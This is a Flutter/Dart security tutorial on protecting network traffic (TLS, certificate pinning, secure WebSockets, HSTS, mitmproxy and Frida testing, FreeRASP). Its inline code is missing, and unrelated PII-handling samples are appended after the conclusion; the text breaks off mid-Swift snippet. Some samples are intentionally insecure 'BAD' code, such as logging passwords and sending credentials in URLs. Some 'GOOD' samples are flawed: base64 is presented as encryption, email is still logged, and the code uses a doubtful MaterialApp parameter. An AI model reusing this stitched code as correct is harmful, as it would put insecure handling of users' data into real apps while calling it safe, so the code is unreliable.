  • client.badCertificateCallback allows your app to trust the server, even if the certificate is self-signed, but only if the host is 10.0.2.2 (the default for local development in Android emulators).

Why “Trust-All” Is a Recipe for Disaster

It might seem tempting to fix the CERTIFICATE_VERIFY_FAILED error by blindly accepting all certificates, like so:

However, this is extremely dangerous. What you’ve just done is disable all certificate validation. This effectively turns HTTPS into plain HTTP, leaving your app wide open to man-in-the-middle (MITM) attacks. Any attacker could present a fake certificate, and your app would blindly trust it.It’s like leaving your front door wide open and assuming no one will walk in. You won’t see the attacker coming, and they can capture everything you send or receive.

Certificate Pinning

Certificate pinning adds an extra layer of security to your app by hard-wiring trust. Instead of relying on the OS trust store to validate certificates, pinning ensures that your app only trusts the specific certificate or public key it was shipped with.

This makes it much harder for attackers to intercept or manipulate traffic, even if they manage to install a rogue certificate authority (CA) on the device.

Why and When to Use Certificate Pinning

  • Extra Security Layer: Pinning ensures that your app will only trust a specific certificate or public key for a particular domain.

  • When to Use: Pinning is essential for apps that handle sensitive data, like those in finance, healthcare, or any domain that makes your app a target.

  • Downsides: Pinning requires operational overhead. You need to rotate pins before the certificate changes, or users will lose connectivity. Always ship a backup pin to survive certificate renewals.

  • When Not to Use: Pinning isn’t required for every app, especially if the server’s certificate is expected to remain stable and not change often. But it’s a strong defensive measure if you need to minimize risk.

Check out Talsec's premium !

Why should you choose Dynamic TLS Pinning over the static certificate pinning?

Implementation of certificate pinning will usually use certificates hard-coded in applications. This approach will enforce both the rebuild of an application and the update for users when the hardcoded certificate is about to expire or is revoked. In applications that are pinning multiple certificates, this enforcement may occur too often.

Export the Server Certificate and SPKI Fingerprint

The first step in pinning is obtaining the certificate or public key you’ll pin to. You can extract the server’s certificate and its SPKI fingerprint using OpenSSL.

  1. Dump the server's certificate (replace api.yourdomain.com with your target domain):

  1. Generate the SPKI hash (the public key’s SHA-256 hash):

  1. Save the Base64 hash: This is the SPKI fingerprint you’ll pin.

Manual Pinning with SecurityContext

Once you have the certificate or SPKI hash, you can manually configure your app to only trust this certificate.

  1. Add server_cert.pem to your assets and declare it in pubspec.yaml:

  1. Create a pinned HttpClient that uses your certificate:

  • setTrustedCertificatesBytes() ensures only the certificates you’ve added are trusted.

  • badCertificateCallback is used to reject any certificate not in the pinned certificate list.

Pinning by Fingerprint in a Callback

If you prefer to pin using the SPKI fingerprint instead of the full certificate, you can use the certificate’s hash directly in the badCertificateCallback.

  • This approach avoids storing the full certificate and directly compares the certificate's hash against the expected value.

  • Wrap the HttpClient in IOClient and use it with the http package just like before.

Using http_certificate_pinning for Less Boilerplate

If you want to simplify the pinning process, you can use the package, which reduces the amount of boilerplate code needed.

This package abstracts away much of the manual setup and makes pinning easier to implement.

Rotation Strategy and Gotchas

  1. Ship at least two pins: Always have both the current and next certificate pinned, so you can smoothly rotate certificates.

  2. Schedule renewals: Coordinate with your backend dev-ops to ensure the new certificate is live before the old one expires. Test failure scenarios by pointing your app to a server with an unpinned certificate to make sure it refuses to connect.

  3. Obfuscate your pins if you’re worried about reverse engineering, but remember that an attacker with full device control can still bypass pinning. Pinning raises the bar, but it’s not a bulletproof shield.

  4. Proactively rotate pins: Set up calendar reminders or CI/CD hooks to rotate pins before they expire.

With certificate pinning in place, your app will refuse to connect to impostor servers, even if they present a seemingly valid certificate. Pinning ensures that only the expected certificate or public key is trusted, adding defense in depth to your app’s security.

Securing Real‑Time Channels (WebSockets)

When your app needs instant updates—whether it's for chat, live dashboards, payments, or presence data—you’ll likely use WebSockets. They keep the connection alive and feel magical for real-time interactions. But don’t forget: ws:// is unencrypted and sends everything in plain text.Short take: Treat WebSockets exactly like HTTPS requests—TLS is mandatory, pinning and validation carry over, and never silently fall back to an insecure URL.

ws:// vs wss://

  • ws://: WebSockets over plain HTTP—insecure, unencrypted, and prone to MITM (Man-In-The-Middle) attacks. Anyone on the same network can read or inject data.

  • wss://: WebSockets over TLS—secure, encrypted, and ensures server identity and data integrity, just like HTTPS.

When working with real-time traffic, remember: it’s as sensitive as REST traffic. Always use wss://, especially when transmitting sensitive data (chat, payments, user info). Never send sensitive data via ws://.

Secure WebSocket Client in Flutter (No Extra Packages)

The web_socket_channel package, part of the Flutter standard toolbox, supports WebSocket connections and allows you to pass a custom HttpClient—so you can reuse the pinning logic from Section 5.Here’s how you can create a secure WebSocket connection with certificate pinning:

Key Rules for WebSocket Security

  1. Never deploy ws://—always use wss:// for production. Strip out any ws:// references in your release configurations.

  2. If the server uses a self-signed certificate in staging, ensure it’s only trusted during debug builds. Production must fail closed if the certificate is invalid.

  3. Treat handshake failures as fatal—don’t auto-retry insecure WebSocket connections. Never fall back to ws://.

  4. Apply the same timeout and retry backoff logic you use for REST API calls. Just because the WebSocket is open doesn’t mean it’s healthy.

Backend Setup with Dart (dart_frog or shelf)

If you’ve followed Section 3 and your backend already serves HTTPS with a valid certificate, WebSocket connections inherit the same secure setup. Here’s how to handle WebSocket upgrade requests in a Dart server (using shelf or dart_frog):

As long as the listener runs on port 443 and is using the proper SSL/TLS certificate, the WebSocket will automatically use wss://.

Testing the Failure Mode

To ensure everything works securely, test the failure mode:

  1. Install mitmproxy on a test device and install its root certificate.

  2. Modify your app’s config to point at https://realtime.yourdomain.com.

  3. If your WebSocket pinning is set up correctly, the connection should fail with a handshake error when the invalid certificate is presented.

  4. Your app should show a user-friendly error like “Secure connection failed”. Never allow it to silently downgrade to an insecure connection.

With secure WebSocket connections (wss://), your app can safely transmit real-time data just as it does with HTTPS. Pinning certificates and ensuring strong validation reduces the risk of MITM attacks and ensures data integrity.

Protecting Data Inside the Tunnel

While TLS ensures that your data is protected in transit, you still need to be mindful of where you store sensitive information in your app, and how it is handled on the device. Storing secrets in the wrong place or accidentally logging sensitive data can undermine your security. Let’s break down best practices for safe payload design, secure storage, and leak-free logging.

Keep Secrets out of URLs

Never put sensitive data (like tokens) in URLs. Query strings are easily logged in proxies, crash reports, or even screenshots. The following is a bad example:

Instead, use headers or JSON bodies to transmit sensitive data:

Tokens or credentials in URLs can easily be captured by intermediate services, proxies, or even browser history.

Check out Talsec's ultimate solution for secure communication between app and backend:

Explicit Headers and JSON Bodies

Always:

  • Set Content-Type: application/json when sending JSON data.

  • Convert maps to JSON using jsonEncode (never concatenate strings).

  • Capture response.statusCode and handle errors like 401/403 properly by failing closed instead of silently retrying.

This ensures your app handles errors in a predictable and secure manner, rather than accidentally exposing sensitive data.

Secure Storage on Device

I have written a lot about this in But let's have a quick review here too.Avoid using insecure storage solutions like SharedPreferences for sensitive data. SharedPreferences stores data in plaintext, making it vulnerable to extraction. Instead, use the OS key-store via flutter_secure_storage for secure data storage.

  • When to wipe tokens: If the device is rooted, the token could still be extracted from memory. Wipe the token on every "app background" event and rely on refresh tokens to quickly obtain a new one.

  • Don’t store tokens in memory or static variables between sessions. Always reload tokens securely from encrypted storage when needed.

Log and Analytics Hygiene

Sensitive data can easily leak through logs. A stray print(response.body) or verbose logging left in production code is an open invitation for a data leak. Here’s how to keep your logging secure:

  • Remove verbose logging in production using flags like --dart-define=FLUTTER_WEB_LOGS=false or wrap logs inside assert(() { … }()) for development-only logging.

  • Redact sensitive data in crash reporting services (e.g., Crashlytics, Sentry). Configure hooks to automatically redact tokens, emails, GPS coordinates, or anything personally identifying.

Application-Level Encryption (When TLS Isn’t Enough)

In certain scenarios, especially when regulations or threat models demand that data remain unreadable even on a compromised transport layer, you may want to encrypt the payload itself, in addition to relying on TLS.Here’s an example using the encrypt package for AES encryption:

  • Share the encryption key securely with your backend. You can use asymmetric encryption to securely exchange keys (public/private key pairs) or share the key out of band.

  • Use different encryption keys for each user/session, and ensure key rotation occurs regularly.

  • Avoid hardcoding encryption keys directly in the app binary; store them securely.

Platform‑Level Enforcement & HSTS

Even flawless code can be sabotaged by a stray manifest flag or a forgotten server redirect. Lock the doors at the OS and server layers so your app physically cannot talk over cleartext.

Android — Block Cleartext Everywhere

Recent Android versions disable HTTP by default, but one debug tweak can switch it back on. Add a network‑security config that allows only the domains you own, and only over TLS.res/xml/network_security_config.xml

Point your <application> tag at this file:android:networkSecurityConfig="@xml/network_security_config"Ship a release build, hit any http:// URL, and watch it fail fast—exactly what you want.

iOS — Tighten App Transport Security

iOS’s ATS already blocks cleartext. Make sure no earlier testing flag sneaks into production.ios/Runner/Info.plist snippet

Build a release IPA and run curl inside the app’s WebView or via http.get; it should error instantly.

Server — Tell Browsers “You’re TLS‑Only”

Preloading HSTS ensures even first-time users never hit your API over HTTP. Add the HTTP Strict Transport Security header so any compliant client refuses to downgrade.Nginx example

  • max-age: one year in seconds

  • includeSubDomains: catch everything, even

  • preload: after seven clean days submit to so all browsers hard‑code HTTPS for you.

Testing, Monitoring & Resilience

Building defenses is only half the game; now we prove they work and keep working.

Automated CI Scans

  • Spin up OWASP ZAP or Burp Scanner in Docker each pull‑request.

Fail the build on any medium‑ or high‑risk finding.

  • If you own Burp Enterprise, call its REST API the same way; block merges when new TLS or mixed‑content issues appear.

MITM Simulation on Real Devices

Mitmproxy: start a local proxy, install its root cert on emulator, route traffic through 127.0.0.1:8080.Expected results:

  • Any http:// request should fail instantly (platform block).

  • A pinned https:// request should fail handshake because the proxy cert isn’t pinned.

  • Debug‑only overrides (localhost, self‑signed) should still work.

Frida script (advanced): hook dart:io’s _HttpClient and attempt to replace badCertificateCallback. Your pinning logic should continue to reject the injected cert, proving an on‑device attacker can’t bypass it without heavy lifting.

Timeouts, Retries, Fail‑Closed

Never loop forever on a broken TLS handshake; instead:

If you still can’t connect, surface an error like “Secure connection failed—check Wi‑Fi or VPN” and refuse to downgrade.

Production Monitoring

  • Ingest mobile TLS failures into your backend logs (status code 0 or handshake exception). A sudden spike may mean your cert expired or a captive portal is blocking traffic.

  • Monitor pin‑mismatch events separately; if they rise, someone might be MITM‑ing users or your cert rotation went sideways.

  • Set up an uptime robot that curls your API over HTTP every hour; it must receive a 301/308 redirect or a 403 block. Alert if it ever gets a 200 OK—that means someone accidentally re‑enabled plaintext.

Disaster Drills

Once per quarter flip staging to an invalid certificate and run the app end‑to‑end:

  • Does the UI show a clear, user‑friendly error?

  • Does it refrain from retrying in the clear?

  • Can you ship a hotfix pin update quickly if needed?

  • For bonus points, automate pin mismatch simulation in CI using mocked certs or a TLS-intercepting proxy.

When these drills are boring, you’ve done it right: your pipeline, runtime checks, and human processes all treat insecure communication as an outage, not a warning.Next we’ll add final hardening for compromised devices with runtime detection.

Advanced Runtime Protections

Even with TLS, pinning, and platform blocks in place, everything collapses if the app runs on a rooted phone, inside an emulator, or under a live debugger. At that point an attacker can dump memory, switch off pinning at runtime, or extract tokens directly from disk. To close that last gap I add one more guardrail: on‑device tamper detection (, , and more) that shuts down sensitive flows the moment something looks wrong.

Why runtime protections matter

  • Root / jailbreak removes the OS sandbox; malware can read secure storage or inject hooks into Dart’s TLS stack.

  • Emulators invite dynamic instrumentation—think Frida scripts that patch badCertificateCallback to always return true.

  • Repackaged APKs can disable pinning, add spyware, then re‑sign the bundle and trick users into installing it.

  • Debuggers allow step‑through inspection of memory, exposing encryption keys and personal data.

One detection library will not beat every attacker, but it raises the cost so high that most move on to softer targets.

Integrating FreeRASP step by step

Add the dependency to pubspec.yaml

Bootstrap as early as possible—before you fetch tokens or open sockets.

Choosing the right response

High‑risk flows (payments, health‑records)

  • Immediately erase secrets, close sockets, and exit or force re‑authentication.

Medium‑risk flows (chat, productivity)

  • Switch to read‑only mode, warn the user, and log the incident.

Audit trail

  • Post a lightweight event (device hash, event type, UTC timestamp) so your SOC can spot trends and decide if a user or region is under attack.

Testing your defense

  • Rooted emulator: launch the app; _react should fire and secrets must be wiped.

  • For extra protection, send anonymized metrics to your SOC or backend security dashboard for analysis.

  • Frida attach: run frida -U -f com.example.app; debugger detection should trigger.

  • Repackaged APK: decompile with Apktool, rebuild, reinstall; app should refuse to run.

  • False‑positive check: release build on clean hardware—no callbacks should trigger.

Conclusion & What’s Next

We started this journey in a bustling café, watching an attacker try to intercept our traffic as we sent our "postcard." Ten sections later, our once-vulnerable postcard has transformed into an armored van: HTTPS everywhere, strict certificate validation, pinning for sensitive use cases, secure WebSockets, airtight payload handling, platform policies that block cleartext, automated scans, hands-on MITM drills, and FreeRASP standing guard on compromised devices.

Handle App Security with a Single Solution! Check out Talsec's premium offer:

Key Takeaways:

  • Encrypt every byte in transit: No http://, no ws://. Always use https:// and wss:// for security.

  • Trust, but verify: Let Dart’s HttpClient handle certificate validation; only implement pinning when you’re ready to manage the rotation playbook.

  • Keep secrets secure: Never store sensitive information in URLs, logs, or plain preferences. Use flutter_secure_storage for safe storage.

  • Test your app like it's in production: Break the build on TLS regressions, and fail loudly on handshake errors.

  • Assume hostile devices: Implement runtime checks like to halt sensitive flows at the first sign of tampering.

With these layers of defense in place, if one layer slips, the others catch it. This defense-in-depth approach is at the heart of OWASP M5 for Flutter and Dart developers.

Up next

In Part Six, we move from securing the wire to securing the binary: Reverse Engineering & Code Protection (M6). We'll crack open a Flutter APK/IPA, show how attackers decompile Dart, inject method swizzles, and siphon hard-coded keys. Then, we’ll teach you how to harden your build so they leave empty-handed.See you there!

// BAD: Over-collecting precise location and personal info unnecessarily
await Geolocator.requestPermission();
Geolocator.getPositionStream( // continuous high-precision tracking
  locationSettings: LocationSettings(accuracy: LocationAccuracy.high)
).listen((Position pos) {
  // Sending precise lat/long and device ID on every update
  sendToServer({
    "lat": pos.latitude,
    "lng": pos.longitude,
    "deviceId": deviceId,            // e.g., device identifier
    "userEmail": loggedInUser.email // including email in tracking data
  });
});
// GOOD: Minimized data collection (coarser updates, limited identifiers)
await Geolocator.requestPermission();
Geolocator.getPositionStream(
  locationSettings: LocationSettings(accuracy: LocationAccuracy.medium, distanceFilter: 50)
).listen((Position pos) {
  final locationData = {
    "lat": pos.latitude,
    "lng": pos.longitude,
    // No constant PII like email or deviceId in each payload
  };
  if (appSettings.locationSharingConsented) {
    sendToServer(locationData);
  }
});
// BAD: Ignoring user preference for analytics opt-out
FirebaseAnalytics analytics = FirebaseAnalytics.instance;

// ... Later in the app, regardless of user consent:
analytics.logEvent(name: "view_item", parameters: {
  "item_id": item.id,
  "user_email": user.email, // PII being sent to analytics
});
// GOOD: Honor user opt-out and limit PII in analytics
FirebaseAnalytics analytics = FirebaseAnalytics.instance;

// Disable analytics collection by default (e.g., at app start)
await analytics.setAnalyticsCollectionEnabled(false);

// ... Later, when loading user preferences:
bool consentGiven = await getUserConsentPreference(); 
await analytics.setAnalyticsCollectionEnabled(consentGiven);

// When logging events, avoid including direct PII
if (consentGiven) {
  analytics.logEvent(name: "view_item", parameters: {
    "item_id": item.id,
    // No email or personal info; use a non-PII user ID if needed
  });
}
// BAD: Logging sensitive info in production
void loginUser(String email, String password) async {
  print('Logging in user: $email with password: $password');  // Debug log
  try {
    final token = await api.login(email, password);
    print('Auth success, token=$token for $email');           // Another sensitive log
  } catch (e, stack) {
    print('Login failed for $email: $e');                     // Logs email in error
    rethrow;
  }
}
import 'dart:developer';  // for log()

void loginUser(String email, String password) async {
  // Only log non-PII info or use debug mode gating
  if (!kReleaseMode) {
    log('Attempting login for user: $email');  // Using log() which is safe in release (no output)
  }
  try {
    final token = await api.login(email, password);
    log('Auth success for user: $email', level: 800); // level can indicate info/severity
  } catch (e, stack) {
    // Log only the error type, not the PII, and perhaps send to crash service
    log('Login failed for user: $email - ${e.runtimeType}', error: e, level: 1000);
    // (Alternatively, report error via Crashlytics without exposing PII in the message)
    rethrow;
  }
}
import 'package:flutter/material.dart';
import 'dart:developer' as developer;

void main() {
  // Option 1: Simple interception and prefixing
  debugPrint = (String? message, {int? wrapWidth}) {
    developer.log('[APP_LOG] $message', name: 'MyLogger');
  };

  // Option 2: More advanced interception with a custom callback
  // This is the one typically set in MaterialApp's debugPrintCallback
  String _myCustomLogBuffer = '';
  void myCustomDebugPrintCallback(String? message, {int? wrapWidth}) {
    _myCustomLogBuffer += '$message\n';
    // You could send this to a remote logging service,
    // save to a file, display in a custom console, etc.
    print('Intercepted and buffered: $message'); // Still print to console for demonstration
    if (_myCustomLogBuffer.length > 500) {
      _myCustomLogBuffer = ''; // Clear buffer to prevent excessive memory usage
    }
  }

  runApp(const MyApp(
    myCustomDebugPrintCallback: myCustomDebugPrintCallback,
  ));
}

class MyApp extends StatelessWidget {
  final DebugPrintCallback? myCustomDebugPrintCallback;

  const MyApp({super.key, this.myCustomDebugPrintCallback});

  @override
  Widget build(BuildContext context) {
    return MaterialApp(
      title: 'Flutter Log Interception Demo',
      theme: ThemeData(
        primarySwatch: Colors.blue,
      ),
      debugPrintCallback: myCustomDebugPrintCallback, // Set the custom callback here
      home: const MyHomePage(title: 'Log Interception Home Page'),
    );
  }
}

class MyHomePage extends StatefulWidget {
  const MyHomePage({super.key, required this.title});

  final String title;

  @override
  State<MyHomePage> createState() => _MyHomePageState();
}

class _MyHomePageState extends State<MyHomePage> {
  @override
  void initState() {
    super.initState();
    debugPrint('MyHomePage initState called!');
    developer.log('Using developer.log in initState', name: 'MY_APP');
  }

  @override
  Widget build(BuildContext context) {
    debugPrint('MyHomePage build called!');
    return Scaffold(
      appBar: AppBar(
        title: Text(widget.title),
      ),
      body: Center(
        child: Column(
          mainAxisAlignment: MainAxisAlignment.center,
          children: <Widget>[
            ElevatedButton(
              onPressed: () {
                debugPrint('Button pressed log message!');
                print('Using regular print (not intercepted by debugPrintCallback)');
              },
              child: const Text('Press Me'),
            ),
            ElevatedButton(
              onPressed: () {
                developer.log('This is a developer.log message!', name: 'ANOTHER_LOGGER');
              },
              child: const Text('Press for developer.log'),
            ),
          ],
        ),
      ),
    );
  }
}
import 'package:flutter/material.dart';
import 'package:http/http.dart' as http;
import 'dart:convert';

class ErrorHandlingDemo extends StatefulWidget {
  const ErrorHandlingDemo({super.key});

  @override
  State<ErrorHandlingDemo> createState() => _ErrorHandlingDemoState();
}

class _ErrorHandlingDemoState extends State<ErrorHandlingDemo> {
  String _errorMessage = '';

  Future<void> _fetchDataWithPotentialError() async {
    setState(() {
      _errorMessage = 'Loading...';
    });
    try {
      // Simulate a network request that might return an error
      // For demonstration, we'll simulate an internal server error response
      final response = await http.get(Uri.parse('https://api.example.com/bad-endpoint'));

      if (response.statusCode == 200) {
        // Process successful response
        setState(() {
          _errorMessage = 'Data fetched successfully!';
        });
      } else if (response.statusCode >= 400) {
        // --- BAD PRACTICE: Displaying raw server error ---
        // setState(() {
        //   _errorMessage = 'Server Error: ${response.body}';
        // });

        // --- GOOD PRACTICE: Sanitize and show generic message ---
        String userFriendlyMessage = 'An unexpected error occurred. Please try again later.';
        debugPrint('Server returned error status ${response.statusCode}: ${response.body}'); // Log for debugging, not for user display

        if (response.statusCode == 401) {
          userFriendlyMessage = 'You are not authorized to perform this action.';
        } else if (response.statusCode == 404) {
          userFriendlyMessage = 'The requested resource was not found.';
        } else {
          // For 5xx errors or other unhandled 4xx errors
          // You might also parse the error body if it's a known structured error
          try {
            final errorJson = jsonDecode(response.body);
            if (errorJson['message'] != null && errorJson['message'] is String) {
              userFriendlyMessage = 'Error: ${errorJson['message']}';
            }
          } catch (e) {
            // If parsing fails, stick with the generic message
          }
        }

        setState(() {
          _errorMessage = userFriendlyMessage;
        });
      }
    } catch (e) {
      // Handle network errors (no internet, connection issues)
      setState(() {
        _errorMessage = 'Network Error: Could not connect to the server. Please check your internet connection.';
      });
      debugPrint('Network request failed: $e');
    }
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(title: const Text('Error Handling Demo')),
      body: Center(
        child: Column(
          mainAxisAlignment: MainAxisAlignment.center,
          children: [
            ElevatedButton(
              onPressed: _fetchDataWithPotentialError,
              child: const Text('Trigger API Call'),
            ),
            const SizedBox(height: 20),
            Text(
              _errorMessage,
              style: const TextStyle(color: Colors.red, fontSize: 16),
              textAlign: TextAlign.center,
            ),
          ],
        ),
      ),
    );
  }
}
import 'package:http/http.dart' as http;

Future<void> registerUserBad(String email, String password) async {
  // DANGER: PII in URL query parameters!final uri = Uri.parse('https://api.example.com/register?email=$email&password=$password');
  try {
    final response = await http.get(uri); // Even worse with GET for sensitive dataif (response.statusCode == 200) {
      debugPrint('Registration successful (BAD)');
    } else {
      debugPrint('Registration failed (BAD): ${response.body}');
    }
  } catch (e) {
    debugPrint('Error: $e');
  }
}
import 'package:http/http.dart' as http;
import 'dart:convert'; // For jsonEncode
import 'package:flutter/foundation.dart'; // For debugPrint

Future<void> registerUserGood(String email, String password) async {
  final uri = Uri.parse('https://api.example.com/register'); // No PII in URL

  try {
    final response = await http.post(
      uri,
      headers: {
        'Content-Type': 'application/json',
      },
      body: jsonEncode({ // PII safely in the request body
        'email': email,
        'password': password,
      }),
    );

    if (response.statusCode == 200) {
      debugPrint('Registration successful (GOOD)');
    } else {
      debugPrint('Registration failed (GOOD): ${response.body}');
    }
  } catch (e) {
    debugPrint('Error: $e');
  }
}

// Usage example:
void main() {
  runApp(MaterialApp(
    home: Scaffold(
      body: Center(
        child: Column(
          children: [
            ElevatedButton(
              onPressed: () => registerUserBad('[email protected]', 'mysecurepassword'),
              child: const Text('Register (BAD: PII in URL)'),
            ),
            ElevatedButton(
              onPressed: () => registerUserGood('[email protected]', 'mysecurepassword'),
              child: const Text('Register (GOOD: PII in Body)'),
            ),
          ],
        ),
      ),
    ),
  ));
}
import 'package:flutter/material.dart';
import 'package:flutter/services.dart'; // For Clipboard

class ClipboardDemo extends StatefulWidget {
  const ClipboardDemo({super.key});

  @override
  State<ClipboardDemo> createState() => _ClipboardDemoState();
}

class _ClipboardDemoState extends State<ClipboardDemo> {
  String _otpCode = '123456'; // Example sensitive data
  String _clipboardStatus = 'Clipboard is empty or has other content.';

  void _copyOtpAndClear() {
    Clipboard.setData(ClipboardData(text: _otpCode));
    setState(() {
      _clipboardStatus = 'OTP copied to clipboard! Will clear in 10 seconds.';
    });

    // Schedule clearing the clipboard after 10 seconds
    Future.delayed(const Duration(seconds: 10), () {
      // Important: Check if the data is still what we put there,
      // to avoid clearing something else the user copied.
      Clipboard.getData(Clipboard.kTextPlain).then((data) {
        if (data?.text == _otpCode) {
          Clipboard.setData(const ClipboardData(text: '')); // Clear the clipboard
          setState(() {
            _clipboardStatus = 'Clipboard cleared.';
          });
          debugPrint('OTP cleared from clipboard.');
        } else {
          setState(() {
            _clipboardStatus = 'Clipboard content changed. Not cleared by us.';
          });
          debugPrint('Clipboard content changed, not clearing OTP.');
        }
      });
    });
  }

  void _checkClipboardContent() async {
    final data = await Clipboard.getData(Clipboard.kTextPlain);
    if (data != null && data.text != null && data.text!.isNotEmpty) {
      // DANGER: Do not display sensitive clipboard content directly!
      // This is for demo purposes to show what could be read.
      setState(() {
        _clipboardStatus = 'Clipboard currently contains: "${data.text}"';
      });
      debugPrint('Clipboard content: ${data.text}');
    } else {
      setState(() {
        _clipboardStatus = 'Clipboard is empty or has non-text content.';
      });
      debugPrint('Clipboard empty.');
    }
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(title: const Text('Clipboard Security Demo')),
      body: Center(
        child: Column(
          mainAxisAlignment: MainAxisAlignment.center,
          children: [
            Text('Simulated OTP: $_otpCode'),
            const SizedBox(height: 20),
            ElevatedButton(
              onPressed: _copyOtpAndClear,
              child: const Text('Copy OTP (and clear after delay)'),
            ),
            const SizedBox(height: 20),
            ElevatedButton(
              onPressed: _checkClipboardContent,
              child: const Text('Check Clipboard Content'),
            ),
            const SizedBox(height: 20),
            Padding(
              padding: const EdgeInsets.symmetric(horizontal: 20.0),
              child: Text(
                _clipboardStatus,
                textAlign: TextAlign.center,
                style: const TextStyle(fontSize: 14),
              ),
            ),
          ],
        ),
      ),
    );
  }
}
# analysis_options.yaml
include: package:flutter_lints/flutter.yaml

linter:
  rules:
    # Enable the avoid_print rule to flag all uses of print()
    avoid_print: true
    # You might also consider these for security/privacy
    avoid_returning_null_for_future: true # Avoid returning null from Future<T> as it can cause null-dereference.
    # You can add other relevant rules based on your project's needs and security policies
    # avoid_private_typedef_functions: true # Helps with clearer API boundaries
    # no_leading_underscores_for_local_identifiers: true # Can improve readability for local variables
    # You might also want to disable rules you find too restrictive, e.g.:
    # prefer_const_constructors: false

analyzer:
  exclude:
    - '**/*.g.dart'
    - '**/*.freezed.dart'
    - '**/*.gr.dart' # For auto_route
  errors:
    # Treat `avoid_print` as an error, not just a warning
    avoid_print: error
// BAD: Storing PII in plain text preferences
final prefs = await SharedPreferences.getInstance();
await prefs.setString('user_email', user.email);
await prefs.setString('auth_token', user.authToken);
// Also writing a full profile JSON to a file in documents directory
final docsDir = await getApplicationDocumentsDirectory();
File('${docsDir.path}/profile.json').writeAsString(jsonEncode(user.profile));
// GOOD: Using secure storage for sensitive info
final secureStorage = FlutterSecureStorage();
// Store auth token and email securely (encrypted in Keychain/Keystore)
await secureStorage.write(key: 'user_email', value: user.email);
await secureStorage.write(key: 'auth_token', value: user.authToken);

// If we must store profile data, consider encrypting it or marking it no-backup
final docsDir = await getApplicationDocumentsDirectory();
final profileFile = File('${docsDir.path}/profile.json');
// Encrypt the profile JSON before writing (simple example using base64 or custom encryption)
final encryptedProfile = base64Encode(utf8.encode(jsonEncode(user.profile)));
await profileFile.writeAsString(encryptedProfile);
// On Android, exclude this file from backups:
if (Platform.isAndroid) {
  await File('${docsDir.path}/profile.json').create(recursive: true);
  // Using path_provider, files in getApplicationSupportDirectory are not backed up by default.
  // Alternatively, set allowBackup=false in AndroidManifest to disable backups entirely for app.
}
import 'dart:typed_data';
import 'package:encrypt/encrypt.dart';
import 'package:flutter_secure_storage/flutter_secure_storage.dart';
import 'package:path_provider/path_provider.dart';
import 'dart:io';

class DataEncryptionService {
  final FlutterSecureStorage _secureStorage = const FlutterSecureStorage();
  static const String _encryptionKeyName = 'data_encryption_key';
  late Key _encryptionKey; // Our AES encryption key

  // Initialize encryption key: either load from secure storage or generate a new one
  Future<void> init() async {
    String? keyString = await _secureStorage.read(key: _encryptionKeyName);
    if (keyString == null) {
      // Generate a new AES key (256-bit for AES-256)
      _encryptionKey = Key.fromSecureRandom(32);
      await _secureStorage.write(key: _encryptionKeyName, value: _encryptionKey.base64);
      debugPrint('New encryption key generated and stored securely.');
    } else {
      _encryptionKey = Key.fromBase64(keyString);
      debugPrint('Encryption key loaded from secure storage.');
    }
  }

  // Encrypt data
  Encrypted encryptData(String plainText) {
    final iv = IV.fromSecureRandom(16); // Initialization Vector for AES
    final encrypter = Encrypter(AES(_encryptionKey, mode: AESMode.cbc)); // Using CBC mode
    final encrypted = encrypter.encrypt(plainText, iv: iv);
    // Combine IV and encrypted data for storage. IV is crucial for decryption.
    return Encrypted(Uint8List.fromList(iv.bytes + encrypted.bytes));
  }

  // Decrypt data
  String decryptData(Encrypted encryptedData) {
    final ivBytes = encryptedData.bytes.sublist(0, 16); // Extract IV
    final encryptedBytes = encryptedData.bytes.sublist(16); // Extract encrypted data
    final iv = IV(ivBytes);
    final encrypter = Encrypter(AES(_encryptionKey, mode: AESMode.cbc));
    return encrypter.decrypt(Encrypted(encryptedBytes), iv: iv);
  }

  // Example of saving and loading encrypted data to/from a file
  Future<void> saveEncryptedToFile(String filename, String data) async {
    await init(); // Ensure key is loaded
    final encrypted = encryptData(data);
    final directory = await getApplicationDocumentsDirectory();
    final file = File('${directory.path}/$filename');
    await file.writeAsBytes(encrypted.bytes);
    debugPrint('Encrypted data saved to ${file.path}');
  }

  Future<String?> loadEncryptedFromFile(String filename) async {
    await init(); // Ensure key is loaded
    try {
      final directory = await getApplicationDocumentsDirectory();
      final file = File('${directory.path}/$filename');
      if (!await file.exists()) {
        debugPrint('File does not exist: ${file.path}');
        return null;
      }
      final bytes = await file.readAsBytes();
      final encrypted = Encrypted(bytes);
      final decrypted = decryptData(encrypted);
      debugPrint('Decrypted data loaded from ${file.path}');
      return decrypted;
    } catch (e) {
      debugPrint('Error loading/decrypting file: $e');
      return null;
    }
  }
}

// Usage example:
/*
void main() async {
  WidgetsFlutterBinding.ensureInitialized(); // Required for path_provider
  final encryptionService = DataEncryptionService();
  await encryptionService.init(); // Load or generate encryption key

  runApp(MaterialApp(
    home: Scaffold(
      appBar: AppBar(title: const Text('Large Data Encryption Demo')),
      body: Center(
        child: Column(
          mainAxisAlignment: MainAxisAlignment.center,
          children: [
            ElevatedButton(
              onPressed: () async {
                await encryptionService.saveEncryptedToFile('user_profile.dat', '{"name": "John Doe", "email": "[email protected]", "address": "123 Main St"}');
              },
              child: const Text('Save Encrypted Profile'),
            ),
            ElevatedButton(
              onPressed: () async {
                String? profile = await encryptionService.loadEncryptedFromFile('user_profile.dat');
                ScaffoldMessenger.of(context).showSnackBar(
                  SnackBar(content: Text('Loaded Profile: ${profile ?? "N/A"}'))
                );
              },
              child: const Text('Load Encrypted Profile'),
            ),
          ],
        ),
      ),
    ),
  ));
}
*/
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.my_app">

    <application
        android:label="my_app"
        android:name="${applicationName}"
        android:icon="@mipmap/ic_launcher"
        android:allowBackup="false" > <activity
            android:name=".MainActivity"
            android:exported="true"
            android:launchMode="singleTop"
            android:theme="@style/LaunchTheme"
            android:configChanges="orientation|keyboardHidden|keyboard|screenSize|smallestScreenSize|locale|layoutDirection|fontScale|screenLayout|density|uiMode"
            android:hardwareAccelerated="true"
            android:windowSoftInputMode="adjustResize">
            </activity>
        </application>
</manifest>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.my_app">

    <application
        android:label="my_app"
        android:name="${applicationName}"
        android:icon="@mipmap/ic_launcher"
        android:allowBackup="false"
        android:hasFragileUserData="false" > </application>
</manifest>
// In your Swift/Objective-C code (e.g., AppDelegate.swift or a custom plugin)

import Foundation

extension URL {
    func setExcludedFromBackup(exclude: Bool) throws {
